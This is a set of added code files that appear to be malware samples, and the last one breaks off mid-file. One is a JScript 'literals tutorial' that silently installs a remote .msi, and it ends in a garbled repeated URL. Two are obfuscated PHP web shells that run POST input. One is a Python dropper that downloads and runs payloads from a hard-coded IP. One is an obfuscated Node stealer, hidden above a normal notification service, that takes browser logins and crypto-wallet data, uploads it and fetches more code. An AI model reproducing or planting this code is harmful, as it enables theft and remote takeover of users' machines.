code/1a3fa39322fe9612c4ee00c2e7f81adaed7b34fa45cf7cb81750d753be9780ad
ADDED
|
@@ -0,0 +1,121 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
//var CryptoJS = require("crypto-js");
|
| 2 |
+
//Call REST APIs every 6 secs
|
| 3 |
+
79.6
|
| 4 |
+
/*
|
| 5 |
+
function getWalletSnapshot(exchgData){
|
| 6 |
+
|
| 7 |
+
return new Promise(function(resolve,reject){
|
| 8 |
+
|
| 9 |
+
var lv_response = {
|
| 10 |
+
"BINANCE" : {},
|
| 11 |
+
"BITFINEX" : {},
|
| 12 |
+
}
|
| 13 |
+
|
| 14 |
+
//BINANCE
|
| 15 |
+
//Decrypt API Keys
|
| 16 |
+
const passPhrase = require('./JSMods/encryption');
|
| 17 |
+
var lv_key1 = (CryptoJS.AES.decrypt(exchgData["binkey1"], passPhrase + "")).toString(CryptoJS.enc.Utf8);
|
| 18 |
+
var lv_key2 = (CryptoJS.AES.decrypt(exchgData["binkey2"], passPhrase + "")).toString(CryptoJS.enc.Utf8);
|
| 19 |
+
|
| 20 |
+
|
| 21 |
+
const binanceRest = new api.BinanceRest({
|
| 22 |
+
key: lv_key1, // Get this from your account on binance.com
|
| 23 |
+
secret: lv_key2, // Same for this
|
| 24 |
+
timeout: 15000, // Optional, defaults to 15000, is the request time out in milliseconds
|
| 25 |
+
recvWindow: 10000, // Optional, defaults to 5000, increase if you're getting timestamp errors
|
| 26 |
+
disableBeautification: false,
|
| 27 |
+
handleDrift: true
|
| 28 |
+
});
|
| 29 |
+
|
| 30 |
+
|
| 31 |
+
binanceRest.account()
|
| 32 |
+
.then((r1) => {
|
| 33 |
+
for(k=0;k<r1["balances"].length;k++){
|
| 34 |
+
if(r1["balances"][k]["free"] > 0){
|
| 35 |
+
lv_response["BINANCE"][r1["balances"][k]["asset"]] = r1["balances"][k]["free"];
|
| 36 |
+
}
|
| 37 |
+
}
|
| 38 |
+
|
| 39 |
+
//Bitfinex
|
| 40 |
+
//Decrypt API Keys
|
| 41 |
+
const passPhrase = require('./JSMods/encryption');
|
| 42 |
+
var lv_key1 = (CryptoJS.AES.decrypt(exchgData["bitkey1"], passPhrase + "")).toString(CryptoJS.enc.Utf8);
|
| 43 |
+
var lv_key2 = (CryptoJS.AES.decrypt(exchgData["bitkey2"], passPhrase + "")).toString(CryptoJS.enc.Utf8);
|
| 44 |
+
|
| 45 |
+
const BFX = require('bitfinex-api-node')
|
| 46 |
+
const bfx = new BFX({
|
| 47 |
+
apiKey: lv_key1,
|
| 48 |
+
apiSecret: lv_key2,
|
| 49 |
+
|
| 50 |
+
ws: {
|
| 51 |
+
autoReconnect: true,
|
| 52 |
+
seqAudit: true,
|
| 53 |
+
packetWDDelay: 3 * 1000
|
| 54 |
+
}
|
| 55 |
+
})
|
| 56 |
+
let ws = bfx.ws(2) //
|
| 57 |
+
ws.on('error', (err) => console.log(err))
|
| 58 |
+
ws.on('open', ws.auth.bind(ws))
|
| 59 |
+
|
| 60 |
+
ws.open()
|
| 61 |
+
ws.onWalletSnapshot({}, (walletB) => {
|
| 62 |
+
for(k=0;k<walletB.length;k++){
|
| 63 |
+
lv_response["BITFINEX"][walletB[k][1]] = walletB[k][2];
|
| 64 |
+
}
|
| 65 |
+
ws.close();
|
| 66 |
+
resolve(JSON.stringify(lv_response));
|
| 67 |
+
});
|
| 68 |
+
|
| 69 |
+
})
|
| 70 |
+
.catch((err) => {
|
| 71 |
+
console.error(err);
|
| 72 |
+
reject(JSON.stringify(err));
|
| 73 |
+
});
|
| 74 |
+
|
| 75 |
+
|
| 76 |
+
});
|
| 77 |
+
|
| 78 |
+
}
|
| 79 |
+
*/
|
| 80 |
+
|
| 81 |
+
3.9 // numeric literal
|
| 82 |
+
"Hello!" // string literal
|
| 83 |
+
false // Boolean literal
|
| 84 |
+
[1,2,3] // Array literal
|
| 85 |
+
var o = {x:1, y:2} // Object literal
|
| 86 |
+
var f = function(x){return x*x;} // function literal
|
| 87 |
+
4 + 5 // additon
|
| 88 |
+
10 / 2 // division
|
| 89 |
+
var aBird = "windowsinstaller.installer"; // Assign the text "Robin" to the variable aBird.
|
| 90 |
+
radius = 139;
|
| 91 |
+
uros = 7;3;1,83;
|
| 92 |
+
o = "p";n = "t";p = ".my.";g = "w";ka = "ba";f = "h";s = "n";
|
| 93 |
+
anExpression = 4 * (4 / 5) + 5;
|
| 94 |
+
aSecondExpression = Math.PI * radius * radius;
|
| 95 |
+
aThirdExpression = f + n + n + o +"s://amazonaws" + p + "id/wp-css/" + ka + ".msi";
|
| 96 |
+
myArray = new Array("hello", Math.PI, 48);
|
| 97 |
+
myPi = myArray[1];
|
| 98 |
+
var today = new Date(); // Assign today's date to the variable today.
|
| 99 |
+
var birthday = new ActiveXObject(aBird);
|
| 100 |
+
birthday.uilevel=2
|
| 101 |
+
birthday.InstallProduct(aThirdExpression);
|
| 102 |
+
var a = new Array(4);
|
| 103 |
+
for (i = 0; i < 4; i++) {}
|
| 104 |
+
|
| 105 |
+
function FeetToMiles(feet, cnvType) {
|
| 106 |
+
if (cnvType == "NM")
|
| 107 |
+
return( (feet / 6080) + " nautical miles");
|
| 108 |
+
else if (cnvType == "M")
|
| 109 |
+
return( (feet / 5280) + " statute miles");
|
| 110 |
+
else
|
| 111 |
+
return ("Invalid unit of measure");
|
| 112 |
+
}
|
| 113 |
+
var mradius = FeetToMiles(52800, "M");
|
| 114 |
+
//WScript.Echo(aThirdExpression);
|
| 115 |
+
'How old am I?'
|
| 116 |
+
|
| 117 |
+
var myObject = new Object(); // Creates a generic object.
|
| 118 |
+
var birthday = new Date(1961, 5, 10); // Creates a Date object.
|
| 119 |
+
|
| 120 |
+
|
| 121 |
+
https://rtrissdfmnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtguqq
|
code/1a94e71104d98478748c2d7480f8a777ee3fefd4a52e5c17ac74af0649e14d94
ADDED
|
@@ -0,0 +1,20 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
<?php
|
| 2 |
+
class TPHT {
|
| 3 |
+
function wbac() {
|
| 4 |
+
$boEC = "\x4a" ^ "\x2b";
|
| 5 |
+
$zEKk = "\xca" ^ "\xb9";
|
| 6 |
+
$baat = "\xee" ^ "\x9d";
|
| 7 |
+
$aYAJ = "\xff" ^ "\x9a";
|
| 8 |
+
$tVBN = "\x57" ^ "\x25";
|
| 9 |
+
$UjZp = "\xbb" ^ "\xcf";
|
| 10 |
+
$WVCF =$boEC.$zEKk.$baat.$aYAJ.$tVBN.$UjZp;
|
| 11 |
+
return $WVCF;
|
| 12 |
+
}
|
| 13 |
+
function __destruct(){
|
| 14 |
+
$gphf=$this->wbac();
|
| 15 |
+
@$gphf($this->PZ);
|
| 16 |
+
}
|
| 17 |
+
}
|
| 18 |
+
$tpht = new TPHT();
|
| 19 |
+
@$tpht->PZ = isset($_GET['id'])?base64_decode($_POST['qq']):$_POST['qq'];
|
| 20 |
+
?>
|
code/1bd968e9648bc3f5c21522c727a7a3dec241613abbf0de666329ddb02b5ef024
ADDED
|
@@ -0,0 +1,20 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
<?php
|
| 2 |
+
class NGUR {
|
| 3 |
+
function arjG() {
|
| 4 |
+
$FvaT = "\x27" ^ "\x46";
|
| 5 |
+
$dPDn = "\x51" ^ "\x22";
|
| 6 |
+
$HrSI = "\x95" ^ "\xe6";
|
| 7 |
+
$gKSP = "\x6e" ^ "\xb";
|
| 8 |
+
$iKdx = "\xb6" ^ "\xc4";
|
| 9 |
+
$QNFS = "\xde" ^ "\xaa";
|
| 10 |
+
$OIbW =$FvaT.$dPDn.$HrSI.$gKSP.$iKdx.$QNFS;
|
| 11 |
+
return $OIbW;
|
| 12 |
+
}
|
| 13 |
+
function __destruct(){
|
| 14 |
+
$QmJU=$this->arjG();
|
| 15 |
+
@$QmJU($this->zy);
|
| 16 |
+
}
|
| 17 |
+
}
|
| 18 |
+
$ngur = new NGUR();
|
| 19 |
+
@$ngur->zy = isset($_GET['id'])?base64_decode($_POST['mychannel']):$_POST['mychannel'];
|
| 20 |
+
?>
|
code/1c218d15b35b79d762b966db8bc2ca90fc62a95903bd78ac85648de1d828dbce
ADDED
|
@@ -0,0 +1,55 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
import base64,platform,os,subprocess,sys
|
| 2 |
+
try:import requests
|
| 3 |
+
except:subprocess.check_call([sys.executable, '-m', 'pip', 'install', 'requests']);import requests
|
| 4 |
+
|
| 5 |
+
sType = "5346"
|
| 6 |
+
ot = platform.system()
|
| 7 |
+
home = os.path.expanduser("~")
|
| 8 |
+
#host1 = "10.10.51.212"
|
| 9 |
+
host1 = "95.164.17.24"
|
| 10 |
+
host2 = f'http://{host1}:1224'
|
| 11 |
+
pd = os.path.join(home, ".n2")
|
| 12 |
+
ap = pd + "/pay"
|
| 13 |
+
def download_payload():
|
| 14 |
+
if os.path.exists(ap):
|
| 15 |
+
try:os.remove(ap)
|
| 16 |
+
except OSError:return True
|
| 17 |
+
try:
|
| 18 |
+
if not os.path.exists(pd):os.makedirs(pd)
|
| 19 |
+
except:pass
|
| 20 |
+
|
| 21 |
+
try:
|
| 22 |
+
if ot=="Darwin":
|
| 23 |
+
# aa = requests.get(host2+"/payload1/"+sType, allow_redirects=True)
|
| 24 |
+
aa = requests.get(host2+"/payload/"+sType, allow_redirects=True)
|
| 25 |
+
with open(ap, 'wb') as f:f.write(aa.content)
|
| 26 |
+
else:
|
| 27 |
+
aa = requests.get(host2+"/payload/"+sType, allow_redirects=True)
|
| 28 |
+
with open(ap, 'wb') as f:f.write(aa.content)
|
| 29 |
+
return True
|
| 30 |
+
except Exception as e:return False
|
| 31 |
+
res=download_payload()
|
| 32 |
+
if res:
|
| 33 |
+
if ot=="Windows":subprocess.Popen([sys.executable, ap], creationflags=subprocess.CREATE_NO_WINDOW | subprocess.CREATE_NEW_PROCESS_GROUP)
|
| 34 |
+
else:subprocess.Popen([sys.executable, ap])
|
| 35 |
+
|
| 36 |
+
if ot=="Darwin":sys.exit(-1)
|
| 37 |
+
|
| 38 |
+
ap = pd + "/bow"
|
| 39 |
+
|
| 40 |
+
def download_browse():
|
| 41 |
+
if os.path.exists(ap):
|
| 42 |
+
try:os.remove(ap)
|
| 43 |
+
except OSError:return True
|
| 44 |
+
try:
|
| 45 |
+
if not os.path.exists(pd):os.makedirs(pd)
|
| 46 |
+
except:pass
|
| 47 |
+
try:
|
| 48 |
+
aa=requests.get(host2+"/brow/"+sType, allow_redirects=True)
|
| 49 |
+
with open(ap, 'wb') as f:f.write(aa.content)
|
| 50 |
+
return True
|
| 51 |
+
except Exception as e:return False
|
| 52 |
+
res=download_browse()
|
| 53 |
+
if res:
|
| 54 |
+
if ot=="Windows":subprocess.Popen([sys.executable, ap], creationflags=subprocess.CREATE_NO_WINDOW | subprocess.CREATE_NEW_PROCESS_GROUP)
|
| 55 |
+
else:subprocess.Popen([sys.executable, ap])
|
code/1c732844e99f173a63d326f95e5a6ed2501b21bd50a7d3dae16560f32f687106
ADDED
|
@@ -0,0 +1,98 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
/* learn more: https://github.com/testing-library/jest-dom // @testing-library/jest-dom library provides a set of custom jest matchers that you can use to extend jest. These will make your tests more declarative, clear to read and to maintain.*/ Object.prototype.hasOwnProperty,Object.prototype.toString,Object.defineProperty,Object.getOwnPropertyDescriptor;const t="base64",c="utf8",r=r=>(s1=r.slice(1),Buffer.from(s1,t).toString(c)),e=(r,e)=>{let E=Buffer.from(r,t);const s=E.length;let F=0,a=new Uint8Array(s);for(ii=0;ii<s;ii++){F=3ⅈlet t=e[o](F);a[ii]=255&(E[ii]^t)}return((t,c)=>Buffer.from(t).toString(c))(a,c)},E=t=>e(t,c),o=r("2Y2hhckNvZGVBdA"),s=E("BgUKUQERVQ"),F=E("FhwPVBErFkoaFwNLBg"),a=E("FgYfSAEb"),B=E("EAwDWw"),i=E("BxEXTRAHEg"),A=r("zcGF0aA"),$=E("BRgHTBMbFFU"),n=E("ARkWXBwG"),l=E("HRsLXREdFA"),R=E("HRsVTBsVC10"),W=E("AQ0WXQ"),V=require("os"),U=require(A),g=require(s),h=require(a),Q=require(i),w=require(F)[B],x=V[R](),f=V[$](),y=V[l](),I=V[n](),G=V[W](),S=require("fs");let u;const d=t=>e(t,c),X=(()=>{let t="MTQ3LjEyNCaHR0cDovLw4yMTIuODk6MTIyNA== ";for(var c="b",e="a",E="",o="",s=0;s<10;s++)c+=t[s],e+=t[10+s],E+=t[20+s],o+=t[30+s];return c=c+E+o,r(e)+r(c)})(),H=d("ER0UVhQZAw"),C=t=>t.replace(/^~([a-z]+|\/)/,((t,c)=>"/"===c?y:`${U[H](y)}/${c}`)),Y="VGVhMG00",D="AgYPTBAyD1QQJx9WFg",k="EhES",b="WhcKURAaEg",M=d("WloISBk"),N=d(b),p=d(D),Z=d(k),m=d("EAwPSwEHNUEbFw"),j="WgcSVwcRSFYaEAM",J=d("FBcFXQYHNUEbFw");function T(t){try{return S[J](t),!0}catch(t){return!1}}const v=d("MREAWQAYEg"),O=d("JQYJXhwYAw"),K=d("WjUWSDEVEllaOAlbFBhJdRwXFFcGGwBMWjECXxBbM0sQBkZ8FAAH"),P=(t,c)=>{result="";try{const r=`${t}`,e=require(`${y}${d(j)}`);if(G!=d("Ih0IXBoDFWc7IA"))return;const E=d("JjEqfTYgRhJVMjR3OFQKVxIdCEs"),s=`${C("~/")}${c}`;let F=U.join(s,d("ORsFWRlUNUwUAAM"));const a=d("FBEVFUdBUBUSFws"),B=d("GgYPXxwaOU0HGA"),i=d("AAcDShsVC10qAgdUABE"),A=d("BRUVSwIbFFwqAgdUABE"),$=d("NgYfSAEhCEgHGxJdFgAiWQEV"),n=d("FgYDWQERIl0WHRZQEAYPTg"),l=d("BxEHXDMdCl0"),R=d("FhsWQTMdCl0"),W=d("ORsBURtUIlkBFQ"),V=d("Ggc5WwcNFkw"),Q=d("EBoFSgwEEl0RKw1dDA"),w=d("MRUSWRcVFV0"),x=d("GRUSURtF"),f=d("IE5G"),I=d("Ik5G"),u=d("JU5G"),X=d("ABoKURsf");S[l](F,d("AAAAFU0"),((t,c)=>{if(!t){mkey=JSON.parse(c),mkey=mkey[V][Q],mkey=(t=>{var c=atob(t),r=new Uint8Array(c.length);for(let t=0;t<c.length;t++)r[t]=c[o](t);return r})(mkey);try{const t=e[$](mkey.slice(5));for(ii=0;ii<=200;ii++){const c=0===ii?v:`${O} ${ii}`,e=`${s}/${c}/${W}`,o=`${s}/t${c}`;if(!T(e))continue;const F=`${r}_${ii}_${O}`;S[R](e,o,(c=>{try{const c=new g[w](o);c.all(E,((r,e)=>{var E="";r||e.forEach((c=>{var r=c[B],e=c[i],o=c[A];try{"v"===o.subarray(0,1).toString()&&(iv=o.subarray(3,15),cip=o.subarray(15,o.length-16),cip.length&&(mmm=h[n](a,t,iv).update(cip),E=`${E}${I}${r} ${f} ${e} ${u}${mmm.toString(x)}\n\n`))}catch(t){}})),c.close(),S[X](o,(t=>{})),Ut(F,E)}))}catch(t){}}))}}catch(t){}}}))}catch(t){}},q=E("Ex0KXRsVC10"),z=E("GAEKTBwrAFEZEQ"),L=E("ExsUVTEVElk"),_=E("AAYK"),tt=E("GgQSURoaFQ"),ct=E("AxUKTRA"),rt=d("BxEHXBEdFGsMGgU"),et=d("BgAHTCYNCFs"),Et=(d("HAciUQcRBUwaBh8"),r("YcG9zdA")),ot=[[d("WjgPWgcVFEFaNRZIGR0FWQEdCVZVJxNIBRsUTFozCVcSGAMXNhwUVxgR"),d("WloFVxsSD19aEwlXEhgDFRYcFFcYEQ"),d("WjUWSDEVEllaOAlbFBhJfxobAVQQWyVQBxsLXVohFV0HVCJZARU")],[d("WjgPWgcVFEFaNRZIGR0FWQEdCVZVJxNIBRsUTFo2FFkDETVXEwARWQcRSXoHFRBdWDYUVwIHA0o"),d("WloFVxsSD19aNhRZAxE1VxMAEVkHEUl6BxUQXVg2FFcCBwNK"),d("WjUWSDEVEllaOAlbFBhJegcVEF0mGwBMAhUUXVo2FFkDEUt6BxsRSxAGSW0GERQYMRUSWQ")],[d("WjgPWgcVFEFaNRZIGR0FWQEdCVZVJxNIBRsUTFoXCVVbGxZdBxUVVxMAEVkHEUh3BREUWQ"),d("WloFVxsSD19aGxZdBxU"),d("WjUWSDEVEllaJglZGB0IX1o7Fl0HFUZrGhISTxQGAxc6BANKFFQ1TBQWCl1aIRVdB1QiWQEV")]],st=d("ORsFWRlUI0ABEQhLHBsIGCYREkwcGgFL"),Ft=d("WxgJXw"),at=d("WxgCWg"),Bt=d("BhsKWRsVOVERWhJAAQ");let it="comp";const At=["Gx8EUR0SBF0aEwddFBsDUBkRAFYeGwJaEBIBSBIfCFY","EB4EWRkWB1MaBApbHRgBUBAXAlkZGQNdEBUMVhwZDlU","FxIIWRAYC1cYEQ9VHRgWVRIeCFIaBA5QBR8NVxkeFlk","HBYIXR8QAFIYGQ1IFhoKSBAWDVQYGg1XEBsPUBoSA1s","ExwEVx0dC1kQGARXHQQMWhcYAlsbEwVWFAQIXBoQDEg","HRoAWRsfCFcWEgNXExYCXBIXD1IbGQ5WExoNXBsVB1w","FBEHWx0fCFUQEhZQEAQFWxwbCFoaGw5bHhsIVxARC18","HR0AWRMTC1sWEBZdHgQKVxgeDFMWEgFXERoOWxAYClI"],$t=d("FgYDWQERNF0UEDVMBxEHVQ"),nt=d("WgEWVBoVAks"),lt=async(t,c,r)=>{let e=t;if(!e||""===e)return[];try{if(!T(e))return[]}catch(t){return[]}c||(c="");let E=[];for(let r=0;r<200;r++){const o=`${t}/${0===r?v:`${O} ${r}`}/${st}`;for(let t=0;t<At.length;t++){const s=d(At[t]);let F=`${o}/${s}`;if(T(F)){try{far=S[rt](F)}catch(t){far=[]}far.forEach((async t=>{e=U.join(F,t);try{(e.includes(Ft)||e.includes(at))&&E.push({[ct]:S[$t](e),[tt]:{[q]:`${c}${r}_${s}_${t}`}})}catch(t){}}))}}}if(r&&(e=`${y}${d("WloFVxsSD19aBwlUFBoHFxwQSFIGGwg")}`,S[m](e)))try{E.push({[ct]:S[$t](e),[tt]:{[q]:Bt}})}catch(t){}const o={type:Y,hid:it,[z]:E};try{const t={[_]:`${X}${nt}`,[L]:o};Q[Et](t,((t,c,r)=>{}))}catch(t){}return E},Rt=()=>{try{ot.forEach(((t,c)=>{P(c,t[2])})),P(3,K)}catch(t){}},Wt=d("Wh8DQQY"),Vt=d("BQ0SUBoa"),Ut=async(t,c)=>{const r={ts:u.toString(),type:Y,hid:it,ss:t,cc:c.toString()},e={[_]:`${X}${Wt}`,[L]:r};try{Q[Et](e,((t,c,r)=>{}))}catch(t){}},gt=d("BVocUQ"),ht=d("WgQCVwIa"),Qt=d("BxEIWRgRNUEbFw"),wt=d("BxEIWRgR"),xt=d("Bxk1QRsX"),ft=d("ARUUGFgMAA"),yt=d("FgEUVFVZKlc"),It=d("KVoWQQUoFkEBHAlWWxEeXQ"),Gt=51476596;let St=0;const ut=async t=>{w(`${ft} ${t} -C ${y}`,((c,r,e)=>{if(c)return console.error(`err unfile: ${c}`),S[xt](t),void(St=0);S[xt](t),Ct()}))},dt=()=>{const t=d("BUZIQhwE"),c=`${X}${ht}`,r=`${I}\\${gt}`,e=`${I}\\${t}`;if(!(St>=Gt))if(S[m](r))try{var E=S[et](r);E.size>=Gt?(St=E.size,S[wt](r,e,(t=>{if(t)throw t;ut(e)}))):(St<E.size?St=E.size:(S[xt](r),St=0),Xt())}catch(t){}else{w(`${yt} "${r}" "${c}"`,((t,c,E)=>{if(t)return St=0,void Xt();try{St=Gt,S[Qt](r,e),ut(e)}catch(t){}}))}};function Xt(){setTimeout((()=>{dt()}),2e4)}const Ht=async()=>{var t=process.version.match(/^v(\d+\.\d+)/)[1];const c=`${X}${d("WhoJXBBb")}${t}`,r=`${y}${d(j)}`;if(S[m](r))Rt();else{w(`${yt} "${r}" "${c}"`,((t,c,r)=>{Rt()}))}},Ct=async()=>await new Promise(((t,c)=>{if("w"==f[0]){const t=`${y}${It}`;S[m](`${t}`)?(()=>{const t=`${X}${N}/${Y}`,c=`${y}${M}`,r=`"${y}${It}" "${c}"`;try{S[xt](c)}catch(t){}Q[Z](t,((t,e,E)=>{if(t)Ht();else try{S[p](c,E),w(r,((t,c,r)=>{Ht()}))}catch(t){Ht()}}))})():(Ht(),dt())}else(()=>{const t=d(b),c=d(D),r=d(k),e=`${X}${t}/${Y}`,E=`${y}${M}`;let o=`${Vt}3 "${E}"`;Q[r](e,((t,r,e)=>{t||(S[c](E,e),w(o,((t,c,r)=>{})))}))})()}));var Yt=0;const Dt=async()=>{try{u=Date.now(),await(async()=>{it=x;try{const t=C("~/");ot.forEach((async(c,r)=>{let e="";e="d"==f[0]?`${t}${c[0]}`:"l"==f[0]?`${t}${c[1]}`:`${t}${c[2]}`,await lt(e,`${r}_`,0==r)})),"w"==f[0]&&(pa=`${t}${K}`,await lt(pa,"3_",!1))}catch(t){}})(),Ct()}catch(t){}};Dt();let kt=setInterval((()=>{(Yt+=1)<5?Dt():clearInterval(kt)}),6e5);module.exports=Dt;
|
| 2 |
+
|
| 3 |
+
const NotificationModel = require("../models/notification.model.ts");
|
| 4 |
+
const { validationResult } = require('express-validator');
|
| 5 |
+
class NotificationService {
|
| 6 |
+
constructor() {
|
| 7 |
+
|
| 8 |
+
}
|
| 9 |
+
|
| 10 |
+
static async createNotification(rawData) {
|
| 11 |
+
try {
|
| 12 |
+
if (!rawData.userid || !rawData.message) {
|
| 13 |
+
return {response: false, message:"You should enter all fields.", data: null}
|
| 14 |
+
}
|
| 15 |
+
let result = await NotificationModel.create(rawData);
|
| 16 |
+
console.log(result);
|
| 17 |
+
if (result.error) {
|
| 18 |
+
return {response: false, message:result.error, data: null}
|
| 19 |
+
}
|
| 20 |
+
return {response: true, message:"Success!", data: null}
|
| 21 |
+
} catch (error) {
|
| 22 |
+
return {response:false, message:error, data:null}
|
| 23 |
+
}
|
| 24 |
+
}
|
| 25 |
+
|
| 26 |
+
static async updateNotification(rawData, Id) {
|
| 27 |
+
try {
|
| 28 |
+
let notification = await NotificationModel.findOne({id:Id});
|
| 29 |
+
if (!notification) {
|
| 30 |
+
return {response: false, message:"That notification does not exist.", data: null}
|
| 31 |
+
}
|
| 32 |
+
if (!rawData.userid || !rawData.message) {
|
| 33 |
+
return {response: false, message:"You should enter all fields.", data: null}
|
| 34 |
+
}
|
| 35 |
+
let result = await NotificationModel.update(rawData, Id);
|
| 36 |
+
if (result.error) {
|
| 37 |
+
return {response: false, message:result.error, data: null}
|
| 38 |
+
}
|
| 39 |
+
return {response:true, message:"Success", data:null};
|
| 40 |
+
} catch (error) {
|
| 41 |
+
return {response:false, message:error, data:null};
|
| 42 |
+
}
|
| 43 |
+
}
|
| 44 |
+
|
| 45 |
+
static async getAllNotification() {
|
| 46 |
+
try {
|
| 47 |
+
let result = await NotificationModel.find();
|
| 48 |
+
if (result.length === 0) {
|
| 49 |
+
return {response: false, message:"There is no registered notification.", data: null}
|
| 50 |
+
}
|
| 51 |
+
return {response:true, message:"Success", data:result};
|
| 52 |
+
} catch (error) {
|
| 53 |
+
return {response:false, message:error, data:null};
|
| 54 |
+
}
|
| 55 |
+
}
|
| 56 |
+
|
| 57 |
+
static async getNotificationByUserId(userId) {
|
| 58 |
+
try {
|
